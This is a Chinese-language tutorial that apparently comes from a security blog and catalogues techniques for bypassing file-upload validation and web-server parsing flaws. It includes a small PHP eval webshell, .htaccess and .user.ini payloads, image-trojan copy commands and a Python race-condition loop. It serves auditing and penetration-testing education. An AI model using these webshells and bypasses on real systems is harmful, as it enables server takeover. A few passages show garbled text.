文件上传绕过总结

进行上传漏洞检查时,首先需要判断上传功能的代码是否对上传的文件进行了校验,如果没有任何校验即存在任意文件上传漏洞,但危险程度仍需进一步判断。(需要检查此处上传的文件是在本地还是在远端,是否存在脚本执行权限或环境支持等,现在很多程序会将附件上传到远端的OSS对象中存储。)

如果代码具有文件校验功能,接下来则需要验证文件校验代码是否完善,可以分别从前端和后端两个方面分析校验的完整性。

•前端校验:主要是分析JavaScript对上传文件的后缀名进行校验的完整性

•后端校验:主要是分析黑名单扩展名拦截、白名单扩展名拦截、HTTP Header的Content-Typ验证、文件头验证、二次渲染验证和文件名随机化等几个校验方法的完整性。

总结审计要点:寻找上传点,检查后缀名是否可自定义,若设置防御,是否可绕过;文件内容是否有校验,校验是否可绕过;是否检查了文件类型;文件上传路径是否可控;文件目录是否要求禁止脚本解析等。

img

客户端校验绕过

一般都是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

前端检测的绕过方法十分简单,这里就不详细展开讲解了。绕过方法有如下几种:

1.通过禁用 IE 中 JS 脚本;

2.通过元素审查修改代码(如删除 onsubmit=”return checkFile()” 事件);

3.通过元素审查 javascirpt 脚本中添加上传文件类型;

4.通过利用 burp 抓包改包,先上传一个 png 类型的木马,然后通过 burp 将其改为asp/php/jsp 后缀名即可 注意:这里修改文件名字后,请求头中的 Content-Length 的值也要改(burp默认会自动修改)。

img

服务端黑名单校验绕过

扩展名黑名单绕过

黑名单检测:一般有个专门的 blacklist 文件,或者黑名单数组,里面会包含常见的危险脚本文件扩展名。

绕过方法:

•找黑名单扩展名的漏网之鱼:比如 iis6.0 中的 asa 和 cer

•可能存在大小写绕过漏洞:比如 aSp(iis6.0 中可以)和 pHp(只能在小于 php5.3.39 中的 linux 中)之中

•能被web容器解析的文件其他扩展名列表:

语言 可解析后缀
ASP/ASPX asp,aspx,asa,ascx,ashx,asmx,cer,cdx
PHP php,php5,php4,php3,phtml,pht
JSP jsp,jspx,jspa,jsw,jsv,jspf,jtml

img

上传.htaccess文件绕过

.htaccess文件的作用:

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。

.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

.htaccess的用途范围主要针对当前目录。

img

1
2
3
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这个文件里面的含义就是将shell.jpg文件解析为php
然后直接上传图片马,就可以解析为php

.htaccess的使用技巧可以参考下面这篇文章:

https://blog.csdn.net/solitudi/article/details/116666720

上传.user.ini文件绕过

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
但是想要引发 .user.ini 解析漏洞需要三个前提条件

    1. 服务器脚本语言为PHP
    2. 服务器使用CGI/FastCGI模式
    3. 上传目录下要有可执行的php文件

配合图片马隐藏个后门,这个方式是最方便的。

首先上传.user.ini文件,文件内容为:

1
2
GIF89a
auto_prepend_file=shell.png

然后构造一个shell.php,内容如下:

1
<script language='php'> @eval($_POST['c']); </script>

然后将两个文件分别上传到服务器上,拿到回显:

img

利用大小写绕过

Windows对大小写不敏感,Linux对大小写敏感。所以Windows系统可以解析.Php、.PHp、.PHP、.pHp、.pHP、.phP扩展名的文件。若网站后端过滤并未统一大小写(将文件扩展名转为小写表示),则会造成绕过。

img

利用空格绕过

Windows系统文件后缀加空格命名之后是默认自动删除空格。若网站后端过滤时没有过滤空格,便可进行绕过。

img

利用点绕过

同空格绕过原理一样,主要原因是Windows等系统默认删除文件后缀的“.”和空格。若网站后端过滤时没有过滤末尾的点,便可进行绕过。

img

利用NTFS流::$DATA绕过

在Windows中如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php

注:这是NTFS文件系统具有的特性,FAT32文件系统无法利用

img

利用点与空过滤绕过

若后端代码只对上传文件进行简单过滤处理就直接将文件名拼接到上传路径中,那么我们可以反过来利用这些过滤处理,得到我们想要上传的文件。

img

利用扩展名双写绕过

PHP后端使用str_ireplace这个函数将php,php5,php4等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp绕过。

img

服务端白名单检验绕过

利用00截断绕过

0x00,%00,/00之类的截断,都是一样的,只是不同表示而已。

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。

00截断的使用限制:

•php版本小于5.3.4

•php.ini的magic_quotes_gpc为OFF状态
•post方式上传文件名时需要在二进制中进行修改

img

img

MIME类型(Content-Type)检验绕过

Content-Type(MediaType),即是Internet Media Type,互联网媒体类型,也叫做MIME类型。在互联网中有成百上千中不同的数据类型,HTTP在传输数据对象时会为他们打上称为MIME的数据格式标签,用于区分数据类型。最初MIME是用于电子邮件系统的,后来HTTP也采用了这一方案。在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。

上传WebShell,使用BurpSuite抓包,修改content-type绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
常见的媒体格式类型如下:
text/html:HTML格式
text/plain:纯文本格式
text/xml:XML格式
text/css:CSS格式
text/javascript:JS格式
image/gif:GIF图片格式
image/jpeg:JPG图片格式
image/png:PNG图片格式•
image/svg+xml:SVG矢量图格式
video/mpeg:MPEG动画格式
application/xhtml+xml:XHTML格式
application/xml:XML数据格式
application/json:JSON数据格式
application/atom+xml:Atom+XML聚合格式
application/pdf:PDF文档格式
application/msword:Word文档格式
application/octet-stream:二进制数据流(如常见的文件下载)
application/x-www-form-urlencoded:form表单被编码成key/value格式发送到服务器(表单默认提交数据的格式)
multipart/form-data:POST 提交时伴随文件上传的表单

img
img

文件头内容检验绕过

不同的图片文件都有不同文件头。上传文件的时候会检查上传文件是否合法,如GIF图片文件是否文件头含有 gif89,可以通过编辑器在WebShell内容基础上再加了一些文件信息,有点像下面的结构:

1
GIF89a <?php phpinfo(); ?>

或者使用MS_DOS命令制作图片木马:

1
copy normal.jpg /b + shell.php /a webshell.jpg

img

成功上传后需要配合文件包含漏洞才可执行代码

二次渲染绕过

二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。这里,也就是说,我们上传的图像,会被网站作为样品再生成一个新的图像,并且将我们原本上传的文件删除。

这里以gif图片示例

使用copy命令将webshell与正常图片进行捆绑:

1
copy load.gif + shell.php shell.gif

上传图片后下载渲染后的图片

关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。

对比两张图片的16进制(这里使用的是Notepad++的HEX-Editor插件),白色区域是不变的部分,而红色区域是不同的部分。

img

我们将代码写到白色区域中:

img

上传图片,与图片马相同 需文件包含条件

注:PNG与JPG格式的二次渲染绕过就没有那么简单了,详细分析过程可以参考如下文章:

https://xz.aliyun.com/t/2657#toc-6

条件竞争绕过

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生。因此条件竞争漏洞也称并发漏洞。条件也属于逻辑漏洞的范畴,这里将利用条件竞争漏洞绕过文件上传。

当上传文件后服务端将文件重命名文件名和后缀时可以尝试

文件上传,再被校验中间是有一个过程的,如果我们在上传后立即访问,占用文件,文件在被使用状态是不可被删除重命名的

利用burp重复发包,数据包内容为shell,不设置payload

img

然后利用脚本去重复访问上传的webshell路径

1
2
3
4
5
6
7
8
9
import requests

while True:
resp = requests.get(url='http://10.20.146.195/upload/shell.php')
if resp.status_code == 200:
print('攻击成功')
break
else:
continue

解析漏洞绕过

解析漏洞指的是服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。

解析漏洞常见于IIS、Apache、Nginx这类的中间件对应版本存在的解析问题,存在的问题都在于中间件。

Apache解析漏洞

影响版本:Apache 1.x、Apache 2.x

Apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar、gif等扩展名是Apache不能识别的,因此就会直接将类型识别为php,从而达到了上传php代码的目的。

假如上传文件1.php.bb.rar,后缀名rar不认识,向前解析;1.php.bb,后缀名bb不认识,向前解析;1.php 最终解析结果为php文件。如果解析完还没有碰到可以解析的扩展名,就会暴露源文件。

IIS 5.x-6.x解析漏洞

影响版本:IIS 5.x、IIS 6.x

使用 IIS5.x-6.x 版本的服务器,大多为Windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,不能解析aspx文件。

目录解析漏洞

IIS 6.0中的目录解析漏洞,如果网站目录中有一个 *.asp的文件夹,那么该文件夹下面的一切内容都会被 IIS 当作 asp 脚本来执行,如/xx.asp/xx.jpg。

文件解析漏洞

IIS 6.0中的分号(;)漏洞,IIS在解析文件名的时候会将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

•/test.asa

•/test.cer

•/test.cdx

IIS 7.0/IIS 7.5/Nginx < 8.03 畸形解析漏洞

影响版本:IIS 7.0、IIS 7.5

IIS 7.0/7.5,默认 Fast-CGI 开启。如果直接在 url 中图片地址(*.jpg)后面输入/*.php,会把正常图片解析为 php 文件。

在某些使用Nginx的网站中,访问http://www.xxser.com/1.jpg/1.php,1.jpg会被当作PHP脚本来解**解析文件类型**析,此时1.php是不存在的。这就意味着攻击者可以上传合法的“图片”(图片木马),然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell。

这不是Nginx特有的漏洞,在IIS 7.0IIS 7.5Lighttpd等Web容器中也经常会出现这样的解析漏洞。这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。

Nginx空字节解析漏洞

影响版本:Nginx 0.5、0.6、0.7<=0.7.65、0.8<= 0.8.37

在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞:

当Fast-CGI执行php时,在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

www.xxxx.com/UploadFiles/image/1.jpg/1.php

www.xxxx.com/UploadFiles/image/1.jpg%00.php

www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php